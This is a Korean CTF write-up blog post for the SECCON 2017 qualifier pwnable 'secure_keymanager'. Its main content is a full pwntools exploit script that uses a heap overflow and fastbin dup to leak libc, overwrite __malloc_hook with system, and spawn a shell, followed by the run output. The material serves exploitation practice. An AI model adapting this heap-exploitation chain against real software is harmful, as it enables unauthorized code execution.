SECCON 2017 QUAL - secure_keymanager

2018. 8. 22. 21:35·CTF/2018

Category : pwnable


secure_keymanager-f9d02e8a1149ff866cad10f001e8f23803bcac3c42ed7ffdcbe50da40e8afd12.zip


Summary : simple heap overflow, fastbin dup into stack



그냥 fastbin문제. 헬게이트 문제로 기억했는데 다른거였나봄.. 하지만 이상한 삽질하다가 시간 더 걸린거 반성하기.

malloc_hook에서 원가젯 바로 못 쓰면 다른 hook 연동해서 간단하게 rsp 컨트롤하기.

malloc 인자 뭐들어가는지 제대로 기억하기.




ex.py

#!/usr/bin/python

from pwn import *

def cmd_add(key_len, title, key):
ru('>> ')
ss('1')
ru('Input key length...')
ss(str(key_len))
ru('Input title...')
ss(title)
ru('Input key...')
if key_len >= 0:
ss(key)

def cmd_edit(idx, new_key, _account=None, _master=None):
ru('>> ')
ss('3')
ru('EDIT KEY\n')
ru('Input Account Name >> ')

if _account:
ss(_account)
ru('Account \'')
name = ru('\'')
rl()
return name
else:
ss(account)

ru('Input Master Pass >> ')
ss(master)
ru('Input id to edit...')
ss(str(idx))
ru('Input new key...')
ss(new_key)

def cmd_remove(idx, _account=None, _master=None):
ru('>> ')
ss('4')
ru('REMOVE KEY\n')
ru('Input Account Name >> ')

if _account:
ss(_account)
ru('Account \'')
name = ru('\'')
rl()
return name
else:
ss(account)
ru('Input Master Pass >> ')
ss(master)
ru('Input id to remove...')
ss(str(idx))

account = 'pwn3r'
master = '/bin/sh'


s = process('./secure_keymanager')
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

ss(account+'\x00')
ss(master+'\x00')

cmd_add(-16, 'chunk1', '')
cmd_add(16, 'chunk2', 'data')
cmd_add(0x68 - 32, 'chunk3', 'data')
libc_base = u64(cmd_edit(0, '', _account='a'*0x18)[0x18:-1].ljust(8, '\x00')) - 0x7a81b
libc_malloc_hook = libc_base + 0x3c4b10
libc_system = libc_base + 0x45390
master_addr = 0x602130 # "/bin/sh\x00"
print hex(libc_base)
cmd_remove(0) # free chunk1
cmd_remove(2) # free chunk3
cmd_add(-16, 'a'*0x18+p64(0xb1)[:-1], '') # overwrite chunk2 size
cmd_edit(1, 'a'*0x10+p64(0)+p64(0x71)+p64(libc_malloc_hook - 0x23)) # overwrite chunk3 fd
cmd_add(0x68 - 32, 'chunk3 again', 'data') # chunk3 again

payload = 'a'*(0x23-0x10) + p64(libc_system)
cmd_add(0x68 - 32, payload, '\x00') # *libc_malloc_hook = libc_system
ru('>> ')
ss('1')
ru('Input key length...')
ss(str(master_addr - 32))

s.interactive()
s.close()



Exploit

$ python ex.py
[+] Starting local process './secure_keymanager': pid 25650
0x7febf6a9d000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


저작자표시 비영리 변경금지 (새창열림)

'CTF > 2018' 카테고리의 다른 글

Tokyo Western CTF 2018 - load  (0) 2018.09.03
WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit)  (0) 2018.08.24
WhiteHat GrandPrix 2018 QUAL - pwn02 (BookStore)  (0) 2018.08.20
WhiteHat GrandPrix 2018 QUAL - pwn01 (giftshop)  (0) 2018.08.19
WhiteHat GrandPrix 2018 QUAL - web03  (0) 2018.08.19
'CTF/2018' 카테고리의 다른 글
  • Tokyo Western CTF 2018 - load
  • WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit)
  • WhiteHat GrandPrix 2018 QUAL - pwn02 (BookStore)
  • WhiteHat GrandPrix 2018 QUAL - pwn01 (giftshop)
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST
    vuln
    web
    csaw ctf
    정보보호올림피아드
    csaw
    HUST2011
    pwnables
    POC
    gnuboard
    후기
    power of community
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
SECCON 2017 QUAL - secure_keymanager
상단으로

티스토리툴바